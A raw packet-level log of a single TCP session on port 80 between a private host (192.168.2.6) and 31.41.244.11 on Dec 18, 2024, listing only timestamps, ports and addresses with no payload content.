Dec 18, 2024 11:09:31.419920921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.420731068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.420774937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.420855999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.420895100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.421502113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.421600103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.421622038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.421674967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.422595978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.422674894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.422700882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.422744036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.423544884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.423588037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.423610926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.423672915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.424531937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.424544096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.424583912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.424583912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.425669909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.425682068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.425834894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.426489115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.426542044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.426577091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.426577091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.427598000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.427614927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.427644014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.427685022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.428421974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.428648949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.428714991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.428797960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.429429054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.429440975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.429486990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.430417061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.430459023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.430490017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.430561066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.432301998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.432313919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.432326078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.432352066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.432423115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.433434010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.433449030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.433460951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.433476925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.433501959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.433501959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.435399055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.435410976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.435421944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.435448885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.435482979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.436362982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.436373949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.436384916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.436425924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.436425924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.438215017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.438226938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.438240051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.438261032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.438410044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.438513041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.438730955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.440176010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.440187931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.440198898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.440221071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.440344095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.441229105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.441240072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.441251040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.441292048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.441292048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.443061113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.443072081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.443104029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.443248034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.443259954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.443309069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.443309069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.444266081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.444338083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.445425034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.445436954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.445450068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.445494890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.445494890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.447052002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.447063923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.447073936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.447133064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.447247982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.447505951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.449007988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.449021101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.449032068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.449065924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.449065924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.449269056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.450109005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.450120926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.450133085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.450154066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.450176001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.451946020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.451957941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.451970100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.452004910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.452004910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.453032970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.453043938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.453056097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.453089952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.453089952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.586498976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.586518049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.586529970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.586563110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.586730003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.586867094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.586936951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.587541103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.587579966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.588531971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.588548899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.588562012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.588613987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.588613987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.590502024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.590513945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.590526104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.590548038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.590656042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.591659069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.591675043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.591686964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.591701984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.591725111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.591725111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.593274117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.593287945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.593324900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.593539000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.593550920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.593904018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.595078945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.595089912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.596297026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.596307993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.596321106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.596335888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.596335888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.597359896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.597371101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.597383022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.597402096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.597402096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.599482059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.599534988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.599577904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.607302904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.607321978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.607333899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.607364893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.607415915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.607415915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.608242989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.608253956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.608266115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.608305931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.608305931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.610497952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.610508919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.610521078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.611481905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.611504078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.612438917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.612449884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.612461090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.612493038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.612777948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.613331079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.613343000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.613354921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.613389015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.613389015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.614518881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.614531040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.616000891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.616014957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.616027117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.616041899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.616041899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.617079973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.617090940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.617101908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.617127895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.617127895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.617486000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.618954897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.618967056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.618978024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.618994951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.620134115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.620151043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.620162010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.620170116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.620170116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.620197058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.620197058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.621965885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.621978998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.621989965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.622026920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.622026920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.623016119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.623027086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.623038054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.623076916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.623076916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.624847889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.624859095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.624875069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.624907970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.624907970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.625899076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.625912905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.625925064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.625952005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.625952005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.627764940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.627777100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.627788067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.627806902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.628880978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.628892899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.628911972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.628918886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.628918886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.628947020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.628947020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.630693913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.630706072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.630717993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.630758047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.630758047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.631807089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.631818056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.631829977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.631870031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.631870031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.633637905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.633652925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.633663893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.633693933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.633693933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.634700060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.634711981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.634722948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.634754896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.634754896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.636610985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.636622906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.636634111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.636660099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.637711048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.637726068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.637738943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.637758017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.637758017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.638497114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.639558077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.639569998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.639581919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.639625072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.639625072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.640626907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.640639067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.640655994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.640696049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.640696049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.642477989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.642494917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.642507076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.642688036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.643572092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.643584013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.643595934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.643654108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.643654108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.645546913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.645560026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.649975061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.777321100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.777411938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.777436972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.777507067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.777793884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.777834892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.777883053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.778553963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.778590918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.778590918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.778660059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.779529095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.779567957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.779567957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.779634953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.780494928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.780531883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.780531883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.780694962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.781656981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.781694889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.781712055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.781966925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.782448053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.782504082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.782623053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.783515930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.783540964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.783544064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.783576012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.783576012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.784456015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.784493923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.784506083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.785408020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.785444021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.785444021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.785468102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.786693096 CET	80	49912	31.41.244.11	192.168.2.6
